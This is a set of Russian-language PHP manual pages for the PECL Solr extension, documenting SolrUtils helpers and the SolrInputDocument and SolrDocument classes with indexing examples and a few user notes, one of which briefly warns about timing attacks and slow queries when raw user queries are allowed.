  • Возвращает текущую версию модуля Solr

SolrUtils::getSolrVersion

(PECL solr >= 0.9.2)

SolrUtils::getSolrVersion — Возвращает текущую версию модуля Solr

Описание

public static SolrUtils::getSolrVersion(): string

Возвращает текущую версию Solr.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая версия модуля Apache Solr.

User Contributed Notes

There are no user contributed notes for this page.


Подготавливает фразу из неэкранированной строки запроса Lucene

  • « SolrUtils::getSolrVersion
  • SolrInputDocument »
  • PHP Manual
  • SolrUtils
  • Подготавливает фразу из неэкранированной строки запроса Lucene

SolrUtils::queryPhrase

(PECL solr >= 0.9.2)

SolrUtils::queryPhrase — Подготавливает фразу из неэкранированной строки запроса Lucene

Описание

public static SolrUtils::queryPhrase(string $str): string

Подготавливает фразу из неэкранированной строки запроса Lucene.

Список параметров

str

Строка запроса Lucene.

Возвращаемые значения

Возвращает строку запроса, заключённую в двойные кавычки.

User Contributed Notes

quackfish at gmail dot com 08-Nov-2015 01:05
You need to be careful allowing users to use raw queries if you index sensitive information. Cross domain search timing attacks can be used to extract information from an index [1] if your form does not have XSRF protection.

If you allow raw queries it can also allow users to DOS your application by inputting slow queries.

[1] https://www.idontplaydarts.com/2015/09/cross-domain-timing-attacks-against-lucene/
daniel dot allen at commercialtrucktrader dot com 03-Feb-2014 04:04
Doing some tests it would appear that this function also sanitizes input(testing on version above 1.0). And the term "phrase" is not the same as a complete query like "FIELD:THE RIGHT HALF AFTER THE : IS THE PHRASE."

So if you want to search SOME_FIELD:some value with an escape character like +, then you would have to write the code out:

$query  = 'SOME_FIELD:' . SolrUtils::queryPhrase('some value with an escape character like +');

That would properly escape it like:

some value with an escape character like \+

FYI.


Класс SolrInputDocument

(PECL solr >= 0.9.2)

Введение

Этот класс представляет документ Solr, который будет отправлен в индекс Solr.

Обзор классов

final class SolrInputDocument {
/* Константы */
const int SORT_DEFAULT = 1;
const int SORT_ASC = 1;
const int SORT_DESC = 2;
const int SORT_FIELD_NAME = 1;
const int SORT_FIELD_VALUE_COUNT = 2;
const int SORT_FIELD_BOOST_VALUE = 4;
/* Методы */
public __construct()
public addChildDocument(SolrInputDocument $child): void
public addChildDocuments(array &$docs): void
public addField(string $fieldName, string $fieldValue, float $fieldBoostValue = 0.0): bool
public clear(): bool
public __clone(): void
public deleteField(string $fieldName): bool
public fieldExists(string $fieldName): bool
public getBoost(): float
public getChildDocuments(): array
public getChildDocumentsCount(): int
public getField(string $fieldName): SolrDocumentField
public getFieldBoost(string $fieldName): float
public getFieldCount(): int|false
public getFieldNames(): array
public hasChildDocuments(): bool
public merge(SolrInputDocument $sourceDoc, bool $overwrite = true): bool
public reset(): bool
public setBoost(float $documentBoostValue): bool
public setFieldBoost(string $fieldName, float $fieldBoostValue): bool
public sort(int $sortOrderBy, int $sortDirection = SolrInputDocument::SORT_ASC): bool
public toArray(): array
public __destruct()
}

Предопределённые константы

Константы класса SolrInputDocument

SolrInputDocument::SORT_DEFAULT

Сортирует поля в порядке возрастания.

SolrInputDocument::SORT_ASC

Сортирует поля в порядке возрастания.

SolrInputDocument::SORT_DESC

Сортирует поля в порядке убывания.

SolrInputDocument::SORT_FIELD_NAME

Сортирует поля по имени

SolrInputDocument::SORT_FIELD_VALUE_COUNT

Сортирует поля по количеству значений.

SolrInputDocument::SORT_FIELD_BOOST_VALUE

Сортирует поля по значению повышения.

Содержание

  • SolrInputDocument::addChildDocument — Добавляет дочерний документ для блочной индексации
  • SolrInputDocument::addChildDocuments — Добавляет массив дочерних документов
  • SolrInputDocument::addField — Добавляет поле в документ
  • SolrInputDocument::clear — Сбрасывает входной документ
  • SolrInputDocument::__clone — Создаёт копию SolrDocument
  • SolrInputDocument::__construct — Конструктор
  • SolrInputDocument::deleteField — Удаляет поле из документа
  • SolrInputDocument::__destruct — Деструктор
  • SolrInputDocument::fieldExists — Проверяет, существует ли поле
  • SolrInputDocument::getBoost — Получает текущее значение повышения для документа
  • SolrInputDocument::getChildDocuments — Возвращает массив дочерних документов (SolrInputDocument)
  • SolrInputDocument::getChildDocumentsCount — Возвращает количество дочерних документов
  • SolrInputDocument::getField — Получает поле по имени
  • SolrInputDocument::getFieldBoost — Получает значение повышения для определённого поля
  • SolrInputDocument::getFieldCount — Возвращает количество полей в документе
  • SolrInputDocument::getFieldNames — Возвращает массив, содержащий все поля в документе
  • SolrInputDocument::hasChildDocuments — Возвращает true, если у документа есть дочерние документы
  • SolrInputDocument::merge — Объединяет один входной документ в другой
  • SolrInputDocument::reset — Псевдоним SolrInputDocument::clear
  • SolrInputDocument::setBoost — Устанавливает значение повышения для документа
  • SolrInputDocument::setFieldBoost — Устанавливает значение повышения индекса времени для поля
  • SolrInputDocument::sort — Сортирует поля в документе
  • SolrInputDocument::toArray — Возвращает представление массива входного документа

User Contributed Notes

There are no user contributed notes for this page.


Добавляет дочерний документ для блочной индексации

  • « SolrInputDocument
  • SolrInputDocument::addChildDocuments »
  • PHP Manual
  • SolrInputDocument
  • Добавляет дочерний документ для блочной индексации

SolrInputDocument::addChildDocument

(PECL solr >= 2.3.0)

SolrInputDocument::addChildDocument — Добавляет дочерний документ для блочной индексации

Описание

public SolrInputDocument::addChildDocument(SolrInputDocument $child): void

Добавляет дочерний документ для создания блока документов с вложенными документами.

Список параметров

child

Объект SolrInputDocument.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение SolrIllegalArgumentException в случае возникновения ошибки.

Выбрасывает исключение SolrException в случае возникновения внутренней ошибки.

Примеры

Пример #1 Пример использования SolrInputDocument::addChildDocument()

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_STORE_PATH,
);

$client = new SolrClient($options);

$product = new SolrInputDocument();

$product->addField('id', 'P-BLACK');
$product->addField('cat', 'tshirt');
$product->addField('cat', 'polo');
$product->addField('content_type', 'product');

$small = new SolrInputDocument();
$small->addField('id', 'TS-BLK-S');
$small->addField('content_type', 'sku');
$small->addField('size', 'S');
$small->addField('inventory', 100);

$medium = new SolrInputDocument();
$medium->addField('id', 'TS-BLK-M');
$medium->addField('content_type', 'sku');
$medium->addField('size', 'M');
$medium->addField('inventory', 200);

$large = new SolrInputDocument();
$large->addField('id', 'TS-BLK-L');
$large->addField('content_type', 'sku');
$large->addField('size', 'L');
$large->addField('inventory', 300);

// добавить дочерние документы
$product->addChildDocument($small);
$product->addChildDocument($medium);
$product->addChildDocument($large);

// добавить блок документа продукта в индекс
$updateResponse = $client->addDocument(
$product,
true, // перезаписать, если документ существует
10000 // зафиксировать в течение 10 секунд
);

print_r($updateResponse->getResponse());

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 5
        )
)

Смотрите также

  • SolrInputDocument::addChildDocuments() - Добавляет массив дочерних документов
  • SolrInputDocument::hasChildDocuments() - Возвращает true, если у документа есть дочерние документы
  • SolrInputDocument::getChildDocuments() - Возвращает массив дочерних документов (SolrInputDocument)
  • SolrInputDocument::getChildDocumentsCount() - Возвращает количество дочерних документов

User Contributed Notes

There are no user contributed notes for this page.


Добавляет массив дочерних документов

  • « SolrInputDocument::addChildDocument
  • SolrInputDocument::addField »
  • PHP Manual
  • SolrInputDocument
  • Добавляет массив дочерних документов

SolrInputDocument::addChildDocuments

(PECL solr >= 2.3.0)

SolrInputDocument::addChildDocuments — Добавляет массив дочерних документов

Описание

public SolrInputDocument::addChildDocuments(array &$docs): void

Добавляет массив дочерних документов в текущий входной документ.

Список параметров

docs

Массив (array) объектов SolrInputDocument.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение SolrIllegalArgumentException в случае возникновения ошибки.

Выбрасывает исключение SolrException в случае возникновения внутренней ошибки.

Примеры

Пример #1 Пример использования SolrInputDocument::addChildDocuments()

<?php

include "bootstrap.php";

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
'path' => SOLR_SERVER_STORE_PATH,
);

$client = new SolrClient($options);

$product = new SolrInputDocument();

$product->addField('id', 'P-BLACK');
$product->addField('cat', 'tshirt');
$product->addField('cat', 'polo');
$product->addField('content_type', 'product');

$small = new SolrInputDocument();
$small->addField('id', 'TS-BLK-S');
$small->addField('content_type', 'sku');
$small->addField('size', 'S');
$small->addField('inventory', 100);

$medium = new SolrInputDocument();
$medium->addField('id', 'TS-BLK-M');
$medium->addField('content_type', 'sku');
$medium->addField('size', 'M');
$medium->addField('inventory', 200);

$large = new SolrInputDocument();
$large->addField('id', 'TS-BLK-L');
$large->addField('content_type', 'sku');
$large->addField('size', 'L');
$large->addField('inventory', 300);

// добавить дочерние документы
$skus = [$small, $medium, $large];
$product->addChildDocuments($skus);

// добавить блок документа продукта в индекс
$updateResponse = $client->addDocument(
$product,
true, // перезаписать, если документ существует
10000 // зафиксировать в течение 10 секунд
);

print_r($updateResponse->getResponse());

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 5
        )
)

Смотрите также

  • SolrInputDocument::addChildDocument() - Добавляет дочерний документ для блочной индексации
  • SolrInputDocument::hasChildDocuments() - Возвращает true, если у документа есть дочерние документы
  • SolrInputDocument::getChildDocuments() - Возвращает массив дочерних документов (SolrInputDocument)
  • SolrInputDocument::getChildDocumentsCount() - Возвращает количество дочерних документов

User Contributed Notes

There are no user contributed notes for this page.


Добавляет поле в документ

  • « SolrInputDocument::addChildDocuments
  • SolrInputDocument::clear »
  • PHP Manual
  • SolrInputDocument
  • Добавляет поле в документ

SolrInputDocument::addField

(PECL solr >= 0.9.2)

SolrInputDocument::addField — Добавляет поле в документ

Описание

public SolrInputDocument::addField(string $fieldName, string $fieldValue, float $fieldBoostValue = 0.0): bool

Для многозначных полей, если указано допустимое значение повышения, указанное значение будет умножено на текущее значение повышения для этого поля.

Список параметров

fieldName

Название поля

fieldValue

Значение поля.

fieldBoostValue

Индекс увеличения времени поля. Хотя он не может быть отрицательным, вы всё равно можете передавать значения меньше 1.0, но они должны быть больше нуля.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

prabhatkr at gmail dot com 20-Apr-2015 01:43
The method from second example here http://php.net/manual/en/solr.examples.php fails to add document, with following error.
-----
[qtp853119666-20] WARN  org.apache.solr.handler.loader.XMLLoader  - XML element <add> has invalid XML attr: allowDups
-----
This is possibly a solr bug or pecl issue.
Any help here please?


Сбрасывает входной документ

  • « SolrInputDocument::addField
  • SolrInputDocument::__clone »
  • PHP Manual
  • SolrInputDocument
  • Сбрасывает входной документ

SolrInputDocument::clear

(PECL solr >= 0.9.2)

SolrInputDocument::clear — Сбрасывает входной документ

Описание

public SolrInputDocument::clear(): bool

Сбрасывает документ, удаляя все поля, и сбрасывает увеличение документа до нуля.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт копию SolrDocument

  • « SolrInputDocument::clear
  • SolrInputDocument::__construct »
  • PHP Manual
  • SolrInputDocument
  • Создаёт копию SolrDocument

SolrInputDocument::__clone

(PECL solr >= 0.9.2)

SolrInputDocument::__clone — Создаёт копию SolrDocument

Описание

public SolrInputDocument::__clone(): void

Не следует вызывать напрямую. Он используется для создания глубокой копии SolrInputDocument.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Создаёт новый экземпляр SolrInputDocument.

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « SolrInputDocument::__clone
  • SolrInputDocument::deleteField »
  • PHP Manual
  • SolrInputDocument
  • Конструктор

SolrInputDocument::__construct

(PECL solr >= 0.9.2)

SolrInputDocument::__construct — Конструктор

Описание

public SolrInputDocument::__construct()

Конструктор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

None.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет поле из документа

  • « SolrInputDocument::__construct
  • SolrInputDocument::__destruct »
  • PHP Manual
  • SolrInputDocument
  • Удаляет поле из документа

SolrInputDocument::deleteField

(PECL solr >= 0.9.2)

SolrInputDocument::deleteField — Удаляет поле из документа

Описание

public SolrInputDocument::deleteField(string $fieldName): bool

Удаляет поле из документа.

Список параметров

fieldName

Название поля.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Деструктор

  • « SolrInputDocument::deleteField
  • SolrInputDocument::fieldExists »
  • PHP Manual
  • SolrInputDocument
  • Деструктор

SolrInputDocument::__destruct

(PECL solr >= 0.9.2)

SolrInputDocument::__destruct — Деструктор

Описание

public SolrInputDocument::__destruct()

Деструктор

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ничего.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли поле

  • « SolrInputDocument::__destruct
  • SolrInputDocument::getBoost »
  • PHP Manual
  • SolrInputDocument
  • Проверяет, существует ли поле

SolrInputDocument::fieldExists

(PECL solr >= 0.9.2)

SolrInputDocument::fieldExists — Проверяет, существует ли поле

Описание

public SolrInputDocument::fieldExists(string $fieldName): bool

Проверяет, существует ли поле

Список параметров

fieldName

Название поля.

Возвращаемые значения

Возвращает true в случае, если поле найдено и false, если нет.

User Contributed Notes

There are no user contributed notes for this page.


Получает текущее значение повышения для документа

  • « SolrInputDocument::fieldExists
  • SolrInputDocument::getChildDocuments »
  • PHP Manual
  • SolrInputDocument
  • Получает текущее значение повышения для документа

SolrInputDocument::getBoost

(PECL solr >= 0.9.2)

SolrInputDocument::getBoost — Получает текущее значение повышения для документа

Описание

public SolrInputDocument::getBoost(): float

Получает текущее значение повышения для документа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает значение повышения в случае успешного выполнения и false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив дочерних документов (SolrInputDocument)

  • « SolrInputDocument::getBoost
  • SolrInputDocument::getChildDocumentsCount »
  • PHP Manual
  • SolrInputDocument
  • Возвращает массив дочерних документов (SolrInputDocument)

SolrInputDocument::getChildDocuments

(PECL solr >= 2.3.0)

SolrInputDocument::getChildDocuments — Возвращает массив дочерних документов (SolrInputDocument)

Описание

public SolrInputDocument::getChildDocuments(): array

Возвращает массив дочерних документов (SolrInputDocument)

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrInputDocument::addChildDocument() - Добавляет дочерний документ для блочной индексации
  • SolrInputDocument::addChildDocuments() - Добавляет массив дочерних документов
  • SolrInputDocument::hasChildDocuments() - Возвращает true, если у документа есть дочерние документы
  • SolrInputDocument::getChildDocumentsCount() - Возвращает количество дочерних документов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество дочерних документов

  • « SolrInputDocument::getChildDocuments
  • SolrInputDocument::getField »
  • PHP Manual
  • SolrInputDocument
  • Возвращает количество дочерних документов

SolrInputDocument::getChildDocumentsCount

(PECL solr >= 2.3.0)

SolrInputDocument::getChildDocumentsCount — Возвращает количество дочерних документов

Описание

public SolrInputDocument::getChildDocumentsCount(): int

Возвращает количество дочерних документов

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrInputDocument::addChildDocument() - Добавляет дочерний документ для блочной индексации
  • SolrInputDocument::addChildDocuments() - Добавляет массив дочерних документов
  • SolrInputDocument::hasChildDocuments() - Возвращает true, если у документа есть дочерние документы
  • SolrInputDocument::getChildDocuments() - Возвращает массив дочерних документов (SolrInputDocument)

User Contributed Notes

There are no user contributed notes for this page.


Получает поле по имени

  • « SolrInputDocument::getChildDocumentsCount
  • SolrInputDocument::getFieldBoost »
  • PHP Manual
  • SolrInputDocument
  • Получает поле по имени

SolrInputDocument::getField

(PECL solr >= 0.9.2)

SolrInputDocument::getField — Получает поле по имени

Описание

public SolrInputDocument::getField(string $fieldName): SolrDocumentField

Получает поле в документе.

Список параметров

fieldName

Название поля.

Возвращаемые значения

Возвращает объект SolrDocumentField в случае успешного выполнения и false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает значение повышения для определённого поля

  • « SolrInputDocument::getField
  • SolrInputDocument::getFieldCount »
  • PHP Manual
  • SolrInputDocument
  • Получает значение повышения для определённого поля

SolrInputDocument::getFieldBoost

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldBoost — Получает значение повышения для определённого поля

Описание

public SolrInputDocument::getFieldBoost(string $fieldName): float

Получает значение повышения для определённого поля.

Список параметров

fieldName

Название поля.

Возвращаемые значения

Возвращает значение повышения для поля или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество полей в документе

  • « SolrInputDocument::getFieldBoost
  • SolrInputDocument::getFieldNames »
  • PHP Manual
  • SolrInputDocument
  • Возвращает количество полей в документе

SolrInputDocument::getFieldCount

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldCount — Возвращает количество полей в документе

Описание

public SolrInputDocument::getFieldCount(): int|false

Возвращает количество полей в документе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив, содержащий все поля в документе

  • « SolrInputDocument::getFieldCount
  • SolrInputDocument::hasChildDocuments »
  • PHP Manual
  • SolrInputDocument
  • Возвращает массив, содержащий все поля в документе

SolrInputDocument::getFieldNames

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldNames — Возвращает массив, содержащий все поля в документе

Описание

public SolrInputDocument::getFieldNames(): array

Возвращает массив, содержащий все поля в документе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив в случае успешного выполнения и false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает true, если у документа есть дочерние документы

  • « SolrInputDocument::getFieldNames
  • SolrInputDocument::merge »
  • PHP Manual
  • SolrInputDocument
  • Возвращает true, если у документа есть дочерние документы

SolrInputDocument::hasChildDocuments

(PECL solr >= 2.3.0)

SolrInputDocument::hasChildDocuments — Возвращает true, если у документа есть дочерние документы

Описание

public SolrInputDocument::hasChildDocuments(): bool

Проверяет, есть ли у документа дочерние документы

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrInputDocument::addChildDocument() - Добавляет дочерний документ для блочной индексации
  • SolrInputDocument::addChildDocuments() - Добавляет массив дочерних документов
  • SolrInputDocument::getChildDocuments() - Возвращает массив дочерних документов (SolrInputDocument)
  • SolrInputDocument::getChildDocumentsCount() - Возвращает количество дочерних документов

User Contributed Notes

There are no user contributed notes for this page.


Объединяет один входной документ в другой

  • « SolrInputDocument::hasChildDocuments
  • SolrInputDocument::reset »
  • PHP Manual
  • SolrInputDocument
  • Объединяет один входной документ в другой

SolrInputDocument::merge

(PECL solr >= 0.9.2)

SolrInputDocument::merge — Объединяет один входной документ в другой

Описание

public SolrInputDocument::merge(SolrInputDocument $sourceDoc, bool $overwrite = true): bool

Объединяет один входной документ в другой.

Список параметров

sourceDoc

Исходный документ.

overwrite

Если указано true, соответствующие поля в целевом документе будут перезаписаны.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка. В будущем это будет изменено, чтобы возвращать количество полей в новом документе.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним SolrInputDocument::clear

  • « SolrInputDocument::merge
  • SolrInputDocument::setBoost »
  • PHP Manual
  • SolrInputDocument
  • Псевдоним SolrInputDocument::clear

SolrInputDocument::reset

(PECL solr >= 0.9.2)

SolrInputDocument::reset — Псевдоним SolrInputDocument::clear()

Описание

public SolrInputDocument::reset(): bool

Псевдоним SolrInputDocument::clear

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение повышения для документа

  • « SolrInputDocument::reset
  • SolrInputDocument::setFieldBoost »
  • PHP Manual
  • SolrInputDocument
  • Устанавливает значение повышения для документа

SolrInputDocument::setBoost

(PECL solr >= 0.9.2)

SolrInputDocument::setBoost — Устанавливает значение повышения для документа

Описание

public SolrInputDocument::setBoost(float $documentBoostValue): bool

Устанавливает значение повышения для документа.

Список параметров

documentBoostValue

Значение индекса времени для документа.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение повышения индекса времени для поля

  • « SolrInputDocument::setBoost
  • SolrInputDocument::sort »
  • PHP Manual
  • SolrInputDocument
  • Устанавливает значение повышения индекса времени для поля

SolrInputDocument::setFieldBoost

(PECL solr >= 0.9.2)

SolrInputDocument::setFieldBoost — Устанавливает значение повышения индекса времени для поля

Описание

public SolrInputDocument::setFieldBoost(string $fieldName, float $fieldBoostValue): bool

Устанавливает значение индекса времени для поля. Заменяет текущее значение повышения для этого поля.

Список параметров

fieldName

Название поля.

fieldBoostValue

Индекс времени повышения значения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Сортирует поля в документе

  • « SolrInputDocument::setFieldBoost
  • SolrInputDocument::toArray »
  • PHP Manual
  • SolrInputDocument
  • Сортирует поля в документе

SolrInputDocument::sort

(PECL solr >= 0.9.2)

SolrInputDocument::sort — Сортирует поля в документе

Описание

public SolrInputDocument::sort(int $sortOrderBy, int $sortDirection = SolrInputDocument::SORT_ASC): bool

Поля упорядочены в соответствии с указанными критериями и направлением сортировки.

   Поля могут быть отсортированы по значениям повышения, именам полей и количеству значений.

   Параметр $order_by должен быть одним из :

   * SolrInputDocument::SORT_FIELD_NAME
   * SolrInputDocument::SORT_FIELD_BOOST_VALUE
   * SolrInputDocument::SORT_FIELD_VALUE_COUNT

   Направление сортировки может быть одним из :

   * SolrInputDocument::SORT_DEFAULT
   * SolrInputDocument::SORT_ASC
   * SolrInputDocument::SORT_DESC

Список параметров

sortOrderBy

Критерий сортировки

sortDirection

Направление сортировки

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление массива входного документа

  • « SolrInputDocument::sort
  • SolrDocument »
  • PHP Manual
  • SolrInputDocument
  • Возвращает представление массива входного документа

SolrInputDocument::toArray

(PECL solr >= 0.9.2)

SolrInputDocument::toArray — Возвращает представление массива входного документа

Описание

public SolrInputDocument::toArray(): array

Возвращает представление массива входного документа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий поля. Возвращает false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrDocument

(PECL solr >= 0.9.2)

Введение

Представляет документ Solr, полученный из ответа на запрос.

Обзор классов

final class SolrDocument implements ArrayAccess, Iterator, Serializable {
/* Константы */
const int SORT_DEFAULT = 1;
const int SORT_ASC = 1;
const int SORT_DESC = 2;
const int SORT_FIELD_NAME = 1;
const int SORT_FIELD_VALUE_COUNT = 2;
const int SORT_FIELD_BOOST_VALUE = 4;
/* Методы */
public __construct()
public addField(string $fieldName, string $fieldValue): bool
public clear(): bool
public __clone(): void
public current(): SolrDocumentField
public deleteField(string $fieldName): bool
public fieldExists(string $fieldName): bool
public __get(string $fieldName): SolrDocumentField
public getChildDocuments(): array
public getChildDocumentsCount(): int
public getField(string $fieldName): SolrDocumentField
public getFieldCount(): int
public getFieldNames(): array
public getInputDocument(): SolrInputDocument
public hasChildDocuments(): bool
public __isset(string $fieldName): bool
public key(): string
public merge(SolrDocument $sourceDoc, bool $overwrite = true): bool
public next(): void
public offsetExists(string $fieldName): bool
public offsetGet(string $fieldName): SolrDocumentField
public offsetSet(string $fieldName, string $fieldValue): void
public offsetUnset(string $fieldName): void
public reset(): bool
public rewind(): void
public serialize(): string
public __set(string $fieldName, string $fieldValue): bool
public sort(int $sortOrderBy, int $sortDirection = SolrDocument::SORT_ASC): bool
public toArray(): array
public unserialize(string $serialized): void
public __unset(string $fieldName): bool
public valid(): bool
public __destruct()
}

Предопределённые константы

SolrDocument::SORT_DEFAULT

Режим по умолчанию для сортировки полей в документе.

SolrDocument::SORT_ASC

Сортирует поля в порядке возрастания

SolrDocument::SORT_DESC

Сортирует поля в порядке убывания

SolrDocument::SORT_FIELD_NAME

Сортирует поля по имени поля.

SolrDocument::SORT_FIELD_VALUE_COUNT

Сортирует поля по количеству значений в каждом поле.

SolrDocument::SORT_FIELD_BOOST_VALUE

Сортирует поля по значению усиления.

Содержание

  • SolrDocument::addField — Добавляет поле в документ
  • SolrDocument::clear — Удаляет все поля в документе
  • SolrDocument::__clone — Создаёт копию объекта SolrDocument
  • SolrDocument::__construct — Конструктор
  • SolrDocument::current — Получает текущее поле
  • SolrDocument::deleteField — Удаляет поле из документа
  • SolrDocument::__destruct — Деструктор
  • SolrDocument::fieldExists — Проверяет, существует ли поле в документе
  • SolrDocument::__get — Доступ к полю как свойству
  • SolrDocument::getChildDocuments — Возвращает массив дочерних документов (SolrDocument)
  • SolrDocument::getChildDocumentsCount — Возвращает количество дочерних документов
  • SolrDocument::getField — Получает поле по имени
  • SolrDocument::getFieldCount — Возвращает количество полей в этом документе
  • SolrDocument::getFieldNames — Возвращает массив имён полей в документе
  • SolrDocument::getInputDocument — Возвращает SolrInputDocument эквивалент объекта
  • SolrDocument::hasChildDocuments — Проверяет, есть ли у документа дочерние документы
  • SolrDocument::__isset — Проверяет, существует ли поле
  • SolrDocument::key — Получает текущий ключ
  • SolrDocument::merge — Сливает источник в текущий SolrDocument
  • SolrDocument::next — Перемещает внутренний указатель на следующее поле
  • SolrDocument::offsetExists — Проверяет, существует ли конкретное поле
  • SolrDocument::offsetGet — Получает поле
  • SolrDocument::offsetSet — Добавляет поле в документ
  • SolrDocument::offsetUnset — Удаляет поле
  • SolrDocument::reset — Псевдоним SolrDocument::clear
  • SolrDocument::rewind — Сбрасывает внутренний указатель на начало
  • SolrDocument::serialize — Используется для пользовательской сериализации
  • SolrDocument::__set — Добавляет ещё одно поле в документ
  • SolrDocument::sort — Сортирует поля в документе
  • SolrDocument::toArray — Возвращает представление массива документа
  • SolrDocument::unserialize — Пользовательская сериализация объектов SolrDocument
  • SolrDocument::__unset — Удаляет поле из документа
  • SolrDocument::valid — Проверяет, является ли текущая позиция внутренне корректной

User Contributed Notes

There are no user contributed notes for this page.


Добавляет поле в документ

  • « SolrDocument
  • SolrDocument::clear »
  • PHP Manual
  • SolrDocument
  • Добавляет поле в документ

SolrDocument::addField

(PECL solr >= 0.9.2)

SolrDocument::addField — Добавляет поле в документ

Описание

public SolrDocument::addField(string $fieldName, string $fieldValue): bool

Метод добавляет поле к экземпляру SolrDocument.

Список параметров

fieldName

Название поля

fieldValue

Значение поля.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все поля в документе

  • « SolrDocument::addField
  • SolrDocument::__clone »
  • PHP Manual
  • SolrDocument
  • Удаляет все поля в документе

SolrDocument::clear

(PECL solr >= 0.9.2)

SolrDocument::clear — Удаляет все поля в документе

Описание

public SolrDocument::clear(): bool

Сбрасывает текущий объект. Сбрасывает все поля и сбрасывает увеличение документа до нуля.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт копию объекта SolrDocument

  • « SolrDocument::clear
  • SolrDocument::__construct »
  • PHP Manual
  • SolrDocument
  • Создаёт копию объекта SolrDocument

SolrDocument::__clone

(PECL solr >= 0.9.2)

SolrDocument::__clone — Создаёт копию объекта SolrDocument

Описание

public SolrDocument::__clone(): void

Создаёт копию объекта SolrDocument. Не вызываться напрямую.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ничего.

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « SolrDocument::__clone
  • SolrDocument::current »
  • PHP Manual
  • SolrDocument
  • Конструктор

SolrDocument::__construct

(PECL solr >= 0.9.2)

SolrDocument::__construct — Конструктор

Описание

public SolrDocument::__construct()

Конструктор класса SolrDocument

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает текущее поле

  • « SolrDocument::__construct
  • SolrDocument::deleteField »
  • PHP Manual
  • SolrDocument
  • Получает текущее поле

SolrDocument::current

(PECL solr >= 0.9.2)

SolrDocument::current — Получает текущее поле

Описание

public SolrDocument::current(): SolrDocumentField

Получает текущее поле

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает поле

User Contributed Notes

There are no user contributed notes for this page.


Удаляет поле из документа

  • « SolrDocument::current
  • SolrDocument::__destruct »
  • PHP Manual
  • SolrDocument
  • Удаляет поле из документа

SolrDocument::deleteField

(PECL solr >= 0.9.2)

SolrDocument::deleteField — Удаляет поле из документа

Описание

public SolrDocument::deleteField(string $fieldName): bool

Удаляет поле из документа.

Список параметров

fieldName

Название поля

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Деструктор

  • « SolrDocument::deleteField
  • SolrDocument::fieldExists »
  • PHP Manual
  • SolrDocument
  • Деструктор

SolrDocument::__destruct

(PECL solr >= 0.9.2)

SolrDocument::__destruct — Деструктор

Описание

public SolrDocument::__destruct()

Деструктор класса SolrDocument.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


